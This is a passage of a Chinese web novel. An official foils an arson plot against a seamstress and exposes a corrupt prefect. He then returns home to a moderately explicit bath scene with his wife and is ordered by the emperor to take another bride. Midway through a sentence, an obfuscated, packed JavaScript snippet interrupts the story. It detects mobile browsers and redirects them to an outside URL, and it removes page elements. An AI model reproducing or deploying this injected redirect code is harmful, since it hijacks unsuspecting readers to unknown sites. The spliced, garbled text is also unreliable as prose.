另一边,绣坊里的苏姑娘正跟着王娘子学绣牡丹,忽然见一个陌生家丁走进来,对着她躬身说道:“苏姑娘,我家公子周文斌请您去城西的旧院一趟,他说……他知道错了,想跟您赔罪,还有要紧的话跟您说。” 苏姑娘的手猛地一顿,绣花针戳破了指尖,渗出一点血珠。她心里又惊又乱——前几日周文斌还对她恶语相向,甚至想害她,怎么会突然认错?可转念一想,肖公子说过要帮她讨公道,或许周文斌是怕了,真的想回头了?那份深埋心底的念想,让她不由自主地动了心。 王娘子看出她的犹豫,连忙劝道:“姑娘,那周文斌不是好人,你可别再信他的话了!” “可……可他说有要紧的话跟我说,或许……或许他真的悔悟了。”苏姑娘咬着唇,指尖的血珠顺着丝线往下滴,“王娘子,我去看看就回来,若他还是以前那样,我立刻就走。” 她不顾王娘子的阻拦,匆匆换了件衣服,跟着家丁往城西走去。越靠近旧院,周围的景象越荒凉,她心里的不安也越来越重,可一想到周文斌或许真的想跟她认错,又硬着头皮往前走。 走进院子,她就看见正房里亮着油灯,周文斌正坐在桌前,见她进来,立刻站起身,脸上堆着虚伪的笑意:“阿苏,你终于来了,快坐。” 苏姑娘站在门口,没敢进去,小声问:“你……你找我来,到底有什么事?” 周文斌走上前,伸手想拉她,见她躲开,便顺势拿起桌上的酒坛,倒了两杯酒,递了一杯给她:“阿苏,你别害怕,我是真的知道错了。来,陪我喝几杯,我跟你好好说说。” 苏姑娘犹豫着接过酒杯,指尖碰到冰凉的杯壁,心里的不安更甚。 周文斌却没给她多想的机会,自己先喝了一杯,眼眶瞬间红了,声音带着刻意装出来的哽咽:“阿苏,我心里一直有你,从来没忘过。你为我攒嫁妆、供我读书,这些我都记在心里,怎么会舍得放开你?可知府大人逼我啊!他说我要是不娶他女儿,就撤了我的秀才功名,还要把我爹以前欠的债翻出来,让我家破人亡!我也是没办法,才跟你说那些狠话……” 他一边说,一边抹着不存在的眼泪,眼神却紧紧盯着苏姑娘:“我知道你受委屈了,可我也是被逼的。等我以后得了势,一定把你接回来,好好补偿你,好不好?” 苏姑娘握着酒杯的手微微发抖,眼泪不知不觉掉了下来。她想起以前周文斌读书到深夜,她陪他熬粥的日子;想起她把嫁妆钱递给他时,他说“阿苏,等我考上功名,一定风风光光娶你”的模样。那些温暖的回忆,让她渐渐放下了戒备,心里的软意一点点蔓延开来——或许,他真的是被逼的?或许,他心里真的还有她? “你……你说的是真的?”她抬起满是泪痕的脸,眼神里带着一丝期待。 周文斌见她松动,心里暗暗得意,脸上却更显诚恳:“当然是真的!我怎么会骗你?来,再喝一杯,咱们就当以前的事都过去了,好不好?”他又给她倒了一杯酒,眼神里藏着不易察觉的阴狠。 苏姑娘接过酒杯,刚要送到嘴边,忽然听见院墙外传来一阵急促的脚步声,还有肖晨的声音:“阿苏!你在里面吗?快出来!” 周文斌的脸色瞬间变了,一把夺过苏姑娘手里的酒杯,摔在地上,厉声骂道:“你竟然敢告诉别人!”他转身就往院外跑,想点燃早已洒好的油,却被冲进来的家丁一把按住。 肖晨快步走进正房,见苏姑娘脸色苍白地站在原地,连忙上前:“阿苏,你没事吧?还好我来得及时!” 原来,肖晨核查漕运账目时,总觉得心里不安,便让人去绣坊看看苏姑娘的情况,得知她被周文斌的人接走,立刻猜到不对劲,带着家丁往城西赶,正好撞见周文斌的人在院外准备点火。 苏姑娘看着被按在地上的周文斌,又看着肖晨关切的眼神,终于明白自己又差点被周文斌骗了。她再也忍不住,蹲在地上放声大哭,这一次,不是为了周文斌,而是为了自己的愚蠢和天真。 肖晨让家丁把周文斌绑起来,又安抚了苏姑娘几句,心里的火气却越来越大——这周文斌不仅不知悔改,还敢当着他的面耍手段,简直是胆大包天!他看着被绑住的周文斌,语气冰冷:“你想害人性命,还想嫁祸意外,这笔账,咱们得好好算算!” 周文斌被家丁按在地上,挣扎着嘶吼:“肖大人!你凭什么抓我?我不过是和旧友叙旧,你这是滥用职权!”他眼神慌乱,却还想嘴硬狡辩,试图混淆视听。 肖晨冷笑一声,走到他面前,居高临下地看着他:“叙旧?用洒满油的院子叙旧?用花言巧语骗她来,是想把这院子连同她一起烧了吧?”他转头对身后的家丁吩咐,“去,把院墙外的油桶、火把都拿过来,再去请苏州府的衙役,就说有人蓄意谋害,证据确凿!” 家丁领命而去,周文斌的脸瞬间变得惨白,再也没了刚才的嚣张,声音带着哭腔求饶:“肖大人!我错了!我一时糊涂,求您饶了我这一次!我再也不敢了!” 苏姑娘蹲在一旁,看着周文斌这副丑态,心里最后一点念想也彻底破灭了。她擦干眼泪,站起身走到周文斌面前,声音平静却带着决绝:“周文斌,我以前真是瞎了眼,才会对你掏心掏肺。你不仅骗我的钱,还想害我的命,我再也不会信你半句话了。” 没过多久,苏州府的衙役就赶来了,看到院墙外的油桶和被绑住的周文斌,又听肖晨说了前因后果,立刻就明白了事情的严重性,拿出锁链将周文斌锁了起来。 周文斌还想挣扎,对着衙役大喊:“我是知府大人看中的女婿!你们敢抓我?小心知府大人怪罪!” 衙役们面面相觑,却还是硬着头皮把他往外带——肖晨是京城来的吏部官员,比苏州知府的官阶高,他们自然不敢违抗肖晨的命令。 看着周文斌被押走的背影,苏姑娘终于松了口气,对着肖晨深深行了一礼:“多谢肖公子,若不是您及时赶到,我今日恐怕就……” “不用谢我,是你自己终于看清了他的真面目。”肖晨温声说道,“接下来,我会让衙役彻查此事,让他为自己的所作所为付出代价。你放心回绣坊,往后他再也不能伤害你了。” 送走苏姑娘,肖晨立刻让人去查周文斌口中“知府逼他”的说法——他总觉得,这周文斌和知府之间,恐怕不止“招女婿”这么简单。果不其然,没过两天,家丁就带来了消息:周文斌不仅想攀附知府,还帮知府隐瞒了漕运中的贪腐问题,把部分贪污的银子分给了知府,所以知府才会处处护着他。 肖晨看着手里的证据,眼神变得严肃——漕运的贪腐和周文斌的案子竟然牵扯到了一起,看来这苏州府的水,比他想象的还要深。他立刻整理好证据,一边让人把漕运账目的问题和周文斌的供词快马送回京城吏部,一边亲自去了知府衙门。 苏州知府见肖晨带着证据找上门,脸色瞬间变了,却还想狡辩:“肖大人,这都是周文斌的一面之词,他为了脱罪,故意攀咬本官!” “是不是攀咬,知府大人心里清楚。”肖晨把证据放在桌上,“漕运账目上的签字,虽然模糊,但能看出是你府里人的笔迹;周文斌的供词里,也详细说了你们分赃的时间和地点,这些都能查证。你若还想抵赖,等京城的批复下来,恐怕就不是‘攀咬’这么简单了。” 知府看着桌上的证据,额头上渗出冷汗,再也没了往日的嚣张,双腿一软,竟直直跪在了地上:“肖大人!求您饶我一命!我一时糊涂,才会犯这样的错,我愿意把贪墨的银子都交出来,求您别把这事上报朝廷!” 肖晨看着他这副模样,心里满是鄙夷:“早知今日,何必当初?你身为知府,不为百姓做主,反而勾结奸人、贪赃枉法,本就该受到惩处。我已经把证据送回京城,如何处置,自有朝廷定夺,我劝你还是老实等着,别再想着耍手段。” 说完,肖晨转身离开了知府衙门。看着苏州府的天空,他心里暗暗想着——不管这背后牵扯多少人,他都要查到底,不仅是为了完成吏部的差事,更是为了让像苏姑娘这样的普通人,能在一个公正的环境里生活,不用再受权贵和恶人的欺压。 又过了几日,京城的批复下来了:知府被革职查办,押回京城受审;周文斌因蓄意谋害、参与贪腐,被判流放;漕运中涉及的其他小吏,也都按罪论处。漕运的账目重新核查,损耗的差额由贪腐官员的家产填补,江南漕运终于恢复了正常。 事情办完后,肖晨去绣坊跟苏姑娘告别。此时的苏姑娘,已经能熟练地绣出完整的牡丹,脸上也有了笑容。她拿出一幅绣好的平安符,递给肖晨:“肖公子,多谢您的帮助,这是我绣的平安符,您带在身上,保佑您一路平安。” 肖晨接过平安符,笑着点头:“多谢你,也祝你往后的日子,平安顺遂,靠自己的手艺,活出不一样的人生。” 告别苏姑娘,肖晨带着家丁登上了回京城的马车。马车轱轱驶离苏州府,他看着窗外渐渐远去的江南水乡,心里满是期待——他终于可以回家了,回到那个有李傲雪和丁香等着他的肖府,回到那个满是温暖的家。 马车在官道上疾驰,车轮碾过路面的石子,发出规律的“轱辘”声。肖晨靠在车厢里,指尖摩挲着苏姑娘送的平安符——针脚细密,绣着一朵小小的莲花,透着几分质朴的暖意。他想起苏姑娘最后笑着说“往后要靠自己好好活”的模样,心里也跟着踏实起来。 这趟江南之行,虽比预想中多了些波折,却也算圆满:漕运的贪腐查清楚了,周文斌和知府得到了应有的惩处,苏姑娘也找到了新的生活方向。只是一想到分别快半月的李傲雪和丁香,他心里就忍不住泛起思念——不知道她们在家有没有好好吃饭?有没有因为担心他而睡不好觉? “公子,前面就快到京城了!”家丁掀开车帘,笑着禀报。 肖晨连忙坐直身子,往窗外望去——远处的京城城墙渐渐清晰,熟悉的轮廓让他瞬间来了精神。他催促车夫快些赶路,恨不得立刻飞到肖府,见到那两个让他牵挂的人。 马车刚停在肖府门口,肖晨就迫不及待地跳下车,刚走进大门,就见李傲雪和丁香正站在廊下翘首以盼,看到他回来,两人眼睛瞬间亮了起来,快步迎了上来。 “少爷!你终于回来了!”李傲雪伸手握住他的手,指尖轻轻摩挲着他的手背,眼神里满是欢喜和担忧,“路上累不累?有没有受伤?” 丁香也凑过来,递上一杯温热的茶水,声音带着几分哽咽:“公子,你可算回来了,我和少夫人每天都在盼着你,就怕你路上出什么事。” 肖晨接过茶水,一口气喝了大半,伸手将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259832|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人揽进怀里,感受着她们温热的体温,心里满是安稳:“让你们担心了,我没事,路上很顺利,现在不是好好地回来了吗?” 三人走进屋,李傲雪连忙让人把早就备好的热菜端上来——都是肖晨爱吃的菜,还冒着热气,显然是算着他回来的时间刚做好的。丁香则忙着帮他整理行李,把他带回来的东西一一拿出来,看到那个平安符,好奇地问:“公子,这是谁绣的呀?真好看。” 肖晨笑着把江南的事跟她们细细说了一遍——从遇到苏姑娘,到查清漕运贪腐,再到周文斌和知府被惩处。李傲雪听得眉头紧锁,听到苏姑娘差点被烧死时,忍不住攥紧了手;听到苏姑娘最后靠绣活谋生,又露出了欣慰的笑容。 “那个周文斌真是太坏了,幸好有你帮忙,不然苏姑娘可就惨了。”李傲雪感慨道,又给肖晨夹了一筷子菜,“你这次在江南肯定没吃好,快多吃点,补补身子。” 丁香也点头附和:“公子真是好人,不仅办好了差事,还帮了苏姑娘。以后咱们要是再遇到需要帮忙的人,咱们还帮!” 肖晨看着两人真诚的模样,心里暖暖的,握住她们的手:“好,以后遇到该帮的人,咱们一定帮。不过这次回来,我也有件事想跟你们说。”他顿了顿,眼神认真,“这次在江南,我看到很多女子身不由己,受了很多苦。我想以后在任上,多为她们做些事,让更多像苏姑娘这样的人,能有安稳的日子过。” 李傲雪和丁香对视一眼,都从对方眼里看到了支持。李傲雪笑着说:“少爷想做的事,我们都支持你。家里有我们打理,你放心去做就好。” 丁香也跟着点头:“是啊公子,我们会把家里照顾好,不让你有后顾之忧。” 肖晨看着眼前的两人,心里满是感激——他何其幸运,能遇到这样通情达理、真心待他的人。他举起酒杯,对着两人笑道:“有你们在,我什么都不怕。来,咱们一起喝一杯,庆祝我平安回来,也庆祝往后的日子,越来越好。” 晚饭过后,桌上的碗筷还没收拾干净,李傲雪就走到肖晨身边,伸手轻轻拍了拍他的肩,语气带着几分心疼:“少爷,你这一路赶回来,肯定累坏了,快去后院浴池泡泡澡,解解乏。” 肖晨确实觉得浑身酸痛,闻言笑着点头:“好,那我去泡会儿。”他起身往后院走,刚进浴池房,就见热水已经备好,氤氲的水汽裹着淡淡的艾草香,驱散了旅途的疲惫。他褪去衣衫,缓缓坐进浴池,温热的水漫过肩头,舒服得忍不住叹了口气,闭上眼睛靠在池边,渐渐放松下来。 没过多久,他听见门被轻轻推开的声音,以为是下人来加水,便没睁眼,随口说道:“水还够,不用加了。” 可下一秒,他就感觉到身边的水面轻轻晃动,一股熟悉的兰花香飘了过来。他猛地睁开眼,就见李傲雪站在池边,外衫早已褪去,只剩下贴身的里衣,正伸手慢慢解着系带。 “你、你怎么进来了?”肖晨的脸颊瞬间发烫,下意识往旁边挪了挪,眼神都有些不敢直视。 李傲雪褪去最后一件衣物,赤着脚走进浴池,温热的水没过她的腰际,她一步步走到肖晨身边,轻轻靠在他的背上,手臂从身后环住他的腰,声音带着几分柔软的坚定:“少爷,我来跟你一起洗。咱们是夫妻,我这个做妻子的,本就该好好服侍你。” 她的肌肤贴着他的后背,温热又细腻,肖晨的身体瞬间僵住,连呼吸都变得有些急促,结结巴巴地说:“我、我有点不习惯……” “习惯了就好。”李傲雪没松开手,反而靠得更紧了些,脸颊贴在他的肩窝处,温热的气息喷在他的脖颈上,“你在江南这些天,我每天都想着你,现在你回来了,我想离你近一点。” 她说着,伸手拿起旁边的浴球,沾了些沐浴香膏,轻轻在肖晨的背上揉搓起来,动作轻柔又仔细,连肩胛骨处的每一寸肌肤都没落下。温热的水流顺着她的指尖滑落,带着淡淡的香膏味,肖晨紧绷的身体渐渐放松下来,原本的局促也慢慢消散,只剩下心头的暖意。 他侧过头,看着李傲雪认真的模样——她的头发湿漉漉地贴在脸颊上,眼神专注地看着他的后背,嘴角还带着浅浅的笑意,比浴池里的水汽还要温柔。肖晨忍不住伸手,轻轻拂去她脸颊上的水珠,声音带着几分沙哑:“辛苦你了,这些天在家,肯定操了不少心。” 李傲雪抬起头,对上他的目光,眼里满是笑意:“不辛苦,只要你能平安回来,比什么都好。”她放下浴球,伸手环住他的脖子,轻轻在他的唇上印下一个吻,带着水汽的温热,“少爷,以后不管你去多远的地方,我都会等你回来,永远陪着你。” 肖晨的心猛地一软,伸手将她紧紧抱在怀里,下巴抵在她的发顶,感受着她身上的温度和熟悉的香气。浴池里的水汽袅袅,将两人的身影笼罩其中,温暖又缱绻。他知道,不管他在外经历多少风雨,只要回到这里,有她在身边,所有的疲惫和不安,都会烟消云散。 肖晨抱着李傲雪,感受着她温热的肌肤贴在自己身上,鼻尖萦绕着她身上的兰花香与沐浴香膏的清甜。可没过片刻,他便察觉出不对——她的指尖轻轻划过他的脊背,带着若有似无的痒意,唇瓣也在他的肩窝处轻轻蹭着,比往日的温顺多了几分主动的撩拨。 他心头一跳,才发现眼前的李傲雪,早已没了往日的羞怯克制,眼底泛着水润的光,连呼吸都带着几分急促。肖晨的脸颊瞬间发烫,连忙想推开她些,结结巴巴地说:“我、我们还是出去吧,这、这里不方便……” “不方便?”李傲雪却没松开,反而伸手勾住他的脖颈,将身子贴得更紧,声音带着几分娇软的委屈,“少爷,你在江南这么久,就不想疼我吗?我每天都在想你,想得心都慌了……” 话音未落,她便踮起脚尖,唇直接覆上他的唇。这一次的吻,没有了往日的试探,带着浓浓的思念与急切,舌尖轻轻撬开他的齿关,缠着他的舌尖辗转厮磨。温热的水流在两人周身环绕,水汽模糊了视线,却让彼此的心跳愈发清晰。 肖晨本就对她思念深切,被她这般主动的撩拨与滚烫的吻包裹着,所有的克制瞬间崩塌。他反手扣住她的腰,将她紧紧拥在怀里,低头回吻着她,吻得比她更急切、更用力,仿佛要将这半月的思念都融进这个吻里。 浴池里的水随着两人的动作轻轻晃动,溅起细碎的水花。李傲雪的手紧紧抓着他的肩,指甲轻轻陷进他的肌肤,发出细碎的轻吟;肖晨则低头在她的颈间落下细密的吻,从她的耳垂到锁骨,每一处都带着滚烫的温度。 不知过了多久,两人都有些喘不过气,才稍稍分开。李傲雪靠在他的肩头,脸颊泛着潮红,眼神却亮得惊人,看着他的眼底满是依赖与情意;肖晨也呼吸急促,指尖轻轻摩挲着她的腰侧,感受着她身体的颤抖,心里满是怜惜与爱意。 “少爷”李傲雪轻轻咬着他的耳垂,声音带着几分沙哑的诱惑,“我还想要” 肖晨的心又是一紧,低头看着她泛红的眼角与微肿的唇,再也说不出拒绝的话。他拦腰抱起她,让她双腿缠在自己腰间,低头再次吻住她,动作温柔却又带着不容抗拒的占有。温热的水流、缠绵的吻、彼此急促的呼吸与心跳交织在一起,在氤氲的水汽里,勾勒出最缱绻的模样。 直到窗外的月光渐渐西斜,浴池里的水也凉了些,两人才终于停下。肖晨抱着浑身无力的李傲雪,用干净的毛巾轻轻擦拭着她的身体,动作温柔得像在对待稀世珍宝;李傲雪则靠在他怀里,眼皮沉沉的,却还伸手紧紧抓着他的衣角,生怕他再离开。 “累了吧?”肖晨低头吻了吻她的额头,声音带着几分沙哑的温柔,“咱们回房睡觉,往后我再也不跟你分开这么久了。” 李傲雪轻轻点头,靠在他怀里,闭上眼睛,嘴角带着满足的笑意。肖晨抱着她走出浴池,往房间走去,月光洒在两人身上,将彼此的影子拉得很长。他知道,这份失而复得的亲密与温暖,是他往后岁月里,最珍贵的宝藏。 77.赐婚给他,他第一次抗拒不了 肖晨抱着李傲雪回到房间,轻轻将她放在铺着软绒的床榻上。刚想转身去拿干净的里衣,手腕却被她轻轻攥住——李傲雪睁着湿漉漉的眼睛,眼神里还带着未散的情意,小声说:“少爷,别走开。” 他心头一软,俯身坐在床沿,伸手帮她拢了拢散落的发丝,指尖触到她温热的耳垂,轻声道:“我不走,就在这儿陪着你。” 李傲雪这才松开手,往他身边挪了挪,脑袋轻轻靠在他的腿上,像只温顺的小猫。肖晨低头看着她,月光透过窗棂洒在她的脸上,睫毛纤长,嘴角还带着浅浅的笑意,心里满是安稳——这半月的奔波与牵挂,在这一刻都化作了踏实的暖意。 “少爷,你在江南的时候,有没有想我做的菜?”李傲雪忽然抬头问,眼里带着几分期待。 肖晨笑着点头,指尖轻轻划过她的脸颊:“当然想,尤其是你做的松鼠鳜鱼,在江南吃了那么多菜,都没你做的合胃口。” 听到这话,李傲雪的眼睛瞬间亮了:“那明天我就给你做!再做你爱吃的水晶虾饺,让你好好补补。” “好,都听你的。”肖晨俯身,在她额间落下一个轻吻。 两人就这么有一搭没一搭地聊着——李傲雪说他走后家里的事:丁香学会了绣新的花样,后院的牡丹开了又谢了,管家新找了个靠谱的花匠;肖晨则说江南的趣事:乌篷船划过石桥的模样,街边卖糖粥的吆喝声,苏姑娘绣坊里五彩的丝线。聊着聊着,李傲雪的声音渐渐低了下去,呼吸也变得平稳,慢慢睡着了。 肖晨小心翼翼地将她的头放在枕头上,为她盖好锦被,又坐在床边守了一会儿,直到确认她睡得安稳,才轻手轻脚地起身,想去看看丁香——这半月,丁香肯定也担心坏了。 刚走到丁香的房门口,就见门缝里还透着微光。他轻轻推开门,就见丁香正坐在桌前,手里拿着一个没绣完的平安符,指尖还捏着绣花针,眼神却有些发怔,显然是在想事情。 “还没睡?”肖晨轻声开口。 丁香猛地回过神,看到是他,连忙站起身,脸颊瞬间泛红:“公子,你怎么来了?我……我在绣平安符,想给你再绣一个。” 肖晨走到桌前,拿起那个平安符——上面已经绣好了半朵莲花,针脚细密,比之前送他的那个还要精致。他笑着拿起平安符,放在手里摩挲着:“辛苦你了,不用这么费心,有你这份心意就够了。” “不费心的!”丁香连忙摆手,眼神却有些闪躲,小声说,“我就是……就是想你能平平安安的,以后不管去什么地方,都能带着我绣的平安符。” 看着她害羞又认真的模样,肖晨心里暖暖的。他伸手揉了揉她的头发,像对待妹妹一样温柔:“好,我一定带着。这半月让你担心了,以后我会尽量少出门,多陪着你们。” 丁香抬起头,眼里满是欢喜,用力点了点头:“嗯!” 肖晨又陪她聊了几句,叮嘱她早点休息,才转身回了自己的房间。刚躺下,就感觉身边的人动了动——李傲雪迷迷糊糊地睁开眼,伸手抱住他的腰,声音带着刚睡醒的沙哑:“少爷,你回来了……” “嗯,回来了。”肖晨反手抱住她,将她往怀里带了带,“快睡吧,明天还要吃你做的松鼠鳜鱼呢。” 李傲雪笑着点了点头,往他怀里缩了缩,很快又睡着了。肖晨抱着她,听着她均匀的呼吸声,感受着身边的温暖,心里满是庆幸——幸好他穿越到了这里,幸好遇到了她们,才能拥有这样安稳又幸福的日子。 窗外的月光渐渐淡了,天快亮了。肖晨闭上眼睛,嘴角带着笑意,也慢慢睡了过去——他知道,明天醒来,会有爱吃的饭菜,有牵挂的人,这样的日子,就是他最想要的圆满。 第二天一早,厨房就飘来阵阵香气。李傲雪亲自下厨,做了松鼠鳜鱼、水晶虾饺,还有肖晨爱喝的莲子羹。三人围坐在桌前,肖晨咬了一口外酥里嫩的松鼠鳜鱼,满足地眯起眼:“还是你做的味道最地道,在江南可没吃到这么合口的。” 李傲雪笑着给他夹了个虾饺:“喜欢就多吃点,中午在衙门要是吃不惯,就让家丁给你送些过去。”丁香也跟着点头,把莲子羹推到他面前:“公子,喝点羹垫垫,免得上午办公饿了。” 吃完早饭,肖晨起身准备去吏部。李傲雪和丁香送他到门口,李傲雪握着他的手,眼神里满是不舍:“少爷,我会想你的,晚上早点回来,我给你留着热菜。” 丁香也凑上前,手里还攥着个刚绣好的小香囊,递到他手里:“公子,这个香囊里装了安神的草药,你带在身上。记得早点回来陪我们,别在衙门待太晚。” 肖晨接过香囊,低头在李傲雪的额头亲了一下,又揉了揉丁香的头发,在她脸颊印下一个轻吻:“放心,我会尽快回来,不让你们等太久。”说完,他才转身登上马车,挥手跟两人道别。 到了吏部,肖晨刚走进衙署,就见张大人迎了上来,脸上满是笑意:“肖主事,你这次江南差事办得漂亮!漕运的贪腐查得干净,连苏州知府都给揪了出来,吏部尚书都在我面前夸你能干呢!” 肖晨连忙拱手行礼,语气谦逊:“张大人谬赞了,查清漕运、惩处贪腐本就是下官的职责,能顺利完成差事,也多亏了大人前期的安排和支持,下官不敢居功。” 张大人笑着拍了拍他的肩膀:“你倒是不骄不躁,这点好。不过说真的,你这年纪能有这份沉稳和能力,日后前途不可限量。”他顿了顿,递过一份公文,“对了,这是新下来的差事,是关于京城周边州县赋税核查的,你先看看,若是没问题,这差事就交给你负责了。” 肖晨接过公文,快速翻看了一遍,心里有了大致思路,抬头回道:“下官没问题,定能把赋税核查的事办妥当。” 张大人满意地点点头:“好,那你就去准备吧,有什么需要协助的,随时跟我说。” 肖晨应了声,拿着公文回到自己的工位。肖晨刚在吏部梳理完赋税核查的初步方案,就见内侍监的太监快步走进衙署,躬身道:“肖主事,陛下在御书房召见,请您即刻随咱家入宫。” 他心头微怔,虽不知皇上为何突然召见,但还是连忙整理好官服,跟着太监往皇宫赶去。御书房内檀香袅袅,明黄色的龙椅上,皇上正翻看着奏折,见他进来,抬了抬眼,语气带着几分赞许:“肖爱卿,江南漕运的事,你办得很妥当。苏州知府贪腐、周文斌蓄意谋害,桩桩件件都查得清楚,没让朕失望。” 肖晨连忙跪地行礼,声音恭敬:“为圣上分忧、为百姓除害,本就是臣子的本分,能不负陛下所托,是臣的幸事。” 皇上放下奏折,示意他起身,话锋却突然一转:“爱卿年轻有为,才貌也出众,在吏部任职以来,办差勤勉,朕看在眼里。高丞相近日跟朕提了一事——他的千金高小姐已到出阁年纪,容貌端庄、知书达理,丞相很是看重你,特意托朕为你们说媒。他知道你已有妻妾,却不介意,只盼你能好好待他女儿。” 这话如平地惊雷,肖晨猛地抬头,脸上满是错愕:“陛下,这……此事臣不能从命!” 皇上的脸色沉了沉,语气带着几分不容置疑:“哦?为何不能从命?高丞相是朝中重臣,他的女儿配你,不算委屈。朕已经答应了丞相,此事就这么定了,爱卿回去准备迎娶便是。” 肖晨躬身叩首,语气坚定却不失恭敬:“陛下,臣并非觉得高小姐委屈,而是臣心中只有家中妻眷。李傲雪与丁香陪臣历经风雨,臣早已许诺此生只护她们二人,绝不能再娶他人,辜负她们的心意。” “放肆!”皇上猛地拍了下龙案,声音陡然严厉,“朕既已下旨,岂容你推辞?莫非你想抗旨不遵?你可知抗旨的后果?不仅你要掉脑袋,还要株连九族!你肖家上下,还有你那两位妻眷,都要跟着你受牵连!” 肖晨的身子僵了僵,手心瞬间冒出冷汗——他不怕自己受罚,却怕连累李傲雪和丁香。可一想到两人信任的眼神,想到自己许下的承诺,他还是咬了咬牙,抬头道:“陛下,臣愿以自身官职抵罪,只求陛下收回成命,别牵连臣的家人。臣此生绝无二心,只愿与家中妻眷安稳度日,还请陛下成全。” 皇上看着他固执的模样,脸色愈发难看,却也没再继续斥责,只是冷声道:“朕意已决,无需多言。你不用再劝了,朕已经派人去你的府里传旨,告知你夫人此事。你现在就回去,好好准备迎娶事宜,别再让朕失望。” 说完,皇上对着门外喊道:“来人,送肖爱卿回府!” 两名侍卫走进来,躬身行礼后,对着肖晨做了个“请”的手势。肖晨还想再劝,却被侍卫轻轻按住胳膊,只能无奈地起身,跟着他们走出御书房。 出宫的路上,肖晨坐在马车上,心乱如麻——皇上已经派人去府里传旨,傲雪和丁香听到消息,该有多伤心?她们会不会以为自己要背弃承诺?还有高丞相那边,此事若是僵持下去,不仅自己难保,还会连累家人。 马车刚到肖府门口,肖晨就看到府里的管家慌慌张张地跑出来,脸色发白:“大人!宫里来人了,说是传陛下旨意,让您迎娶高丞相的千金,还说……还说要让少夫人和丁香姑娘准备迎接新人!少夫人听到消息后,就回房了,丁香姑娘也红着眼眶,劝不住啊!” 肖晨的心猛地一沉,快步往府里跑。刚进内院,就见几个内侍站在廊下,手里拿着明黄色的圣旨,脸色倨傲。李傲雪的房门紧闭,隐约能听到里面压抑的哭声;丁香则站在房门口,看到肖晨回来,眼泪瞬间掉了下来,哽咽着说:“公子……他们说……说你要娶别人了,是不是真的?” 肖晨快步走到她身边,伸手擦掉她的眼泪,语气急切又坚定:“丁香,你别听他们的!我没有答应,我绝不会娶别人!你相信我,我一定会想办法解决这件事,绝不会让你们受委屈!” 他话音刚落,为首的内侍就走上前,冷声道:“肖大人,陛下的旨意已下,你还是尽快准备吧。若是抗旨,后果你承担不起,别连累了肖府上下。” 肖晨转头看向内侍,眼神冰冷:“旨意我已知晓,但此事我绝不会从命。还请公公回禀陛下,容我再奏,若陛下执意如此,我愿以死明志,只求放过我的家人!” 内侍没想到他如此固执,脸色变了变,却也不敢再多说,只能冷哼一声:“肖大人好自为之!咱家会把你的话回禀陛下,只是到时候,可别后悔!”说完,便带着其他内侍转身离开了。 看着内侍远去的背影,肖晨深吸一口气,走到李傲雪的房门前,轻轻敲门:“傲雪,是我,你开门,我有话跟你说。” 房门内的哭声停了片刻,随后门被缓缓打开。李傲雪站在门后,眼睛红肿,脸上还带着泪痕,却还是强撑着问道:“少爷,宫里的人说的……是真的吗?你真的要娶高丞相的女儿?” 肖晨走进房间,伸手将她紧紧抱在怀里,声音带着几分沙哑:“傲雪,对不起,让你受委屈了。我没有答应皇上,我也绝不会娶别人。不管皇上用什么威胁我,我都不会背弃你和丁香。你相信我,我一定会想办法让皇上收回成命,咱们以后还像以前一样,好好过日子。” 李傲雪靠在他怀里,眼泪又忍不住掉了下来,却轻轻点了点头:“我相信你,少爷。不管发生什么事,我都跟你一起面对,绝不分开。” 肖晨抱着她,心里满是愧疚与坚定——他知道,接下来的路会很难走,但为了身边的人,他必须坚持下去,哪怕付出再多代价,也要守住这份承诺,护住这个家。 内侍刚回到皇宫复命,将肖晨“愿以死明志”的话禀报给皇上,龙椅上的皇上瞬间勃然大怒,猛地将手边的奏折扫落在地:“好一个肖晨!朕给足他颜面,他竟如此不识抬举!” 盛怒之下,皇上当即下令:“来人!再去肖府传旨!告诉他,朕给你最后一次选择——要么,三日内备好婚车,迎娶高小姐;要么,朕就派囚车去接他,连同他肖家上下,一起打入天牢!让他自己选!” 带着皇上谕令的侍卫很快赶到肖府,将“囚车或婚车”的选择重重撂在肖晨面前,语气冰冷:“肖大人,陛下旨意已传,你可别连累了满门老小!” 府里的管家、家丁们吓得脸色惨白,纷纷围上来劝肖晨:“大人!万万不可抗旨啊!株连九族可不是闹着玩的,整个肖府上下几十口人,还有少夫人和丁香姑娘,都要跟着您受牵连啊!” “是啊大人!高丞相是朝中重臣,高小姐也是知书达理之人,您娶了她,不仅能保全家平安,对您的仕途也有好处,就别再固执了!” 连平日里温顺的丁香,也红着眼眶拉了拉肖晨的衣袖,声音带着哽咽:“公子……我和少夫人不想你有事,也不想肖府出事……要不……要不咱们就……” 肖晨站在原地,脸色紧绷,手心攥得发白。他看着周围人焦急的眼神,又转头看向身旁的李傲雪——她眼眶通红,却没有劝他妥协,只是伸手紧紧握住他的手,轻声说:“少爷,不管你选什么,我都跟你一起。若是真要入天牢,我陪你;若是你被迫答应,我也认,只要能跟你在一起。” 她的话像一股暖流,却更让肖晨心疼。他反手握紧李傲雪的手,眼神渐渐变得坚定——他不能让她跟着自己受苦,更不能让肖府上下为他陪葬,但他也绝不能背弃承诺,委屈她和丁香。 肖晨深吸一口气,看向传旨的侍卫,语气平静却有力:“劳烦公公回禀陛下,容我再想想。三日内,我定会给陛下一个答复,但我有一个请求——在此期间,请勿惊扰我府中家人,尤其是我的妻眷。” 侍卫见他松了口,脸色稍缓,冷声道:“好,我就替你回禀陛下。但肖大人,你最好想清楚,别拿满门性命开玩笑!”说罢,便转身离开了肖府。 侍卫走后,肖府里的人还在劝肖晨妥协,肖晨却摆了摆手,对众人说:“大家先散了吧,让我和内子说几句话。” 待众人散去,肖晨拉着李傲雪回到房间,关上房门。他将她拥入怀中,声音带着几分疲惫,却依旧坚定:“傲雪,你放心,我不会选婚车,也不会让囚车来。我这就去想办法,找能在皇上面前说上话的人,求陛下收回成命。就算拼上我这身官职,我也绝不会委屈你。” 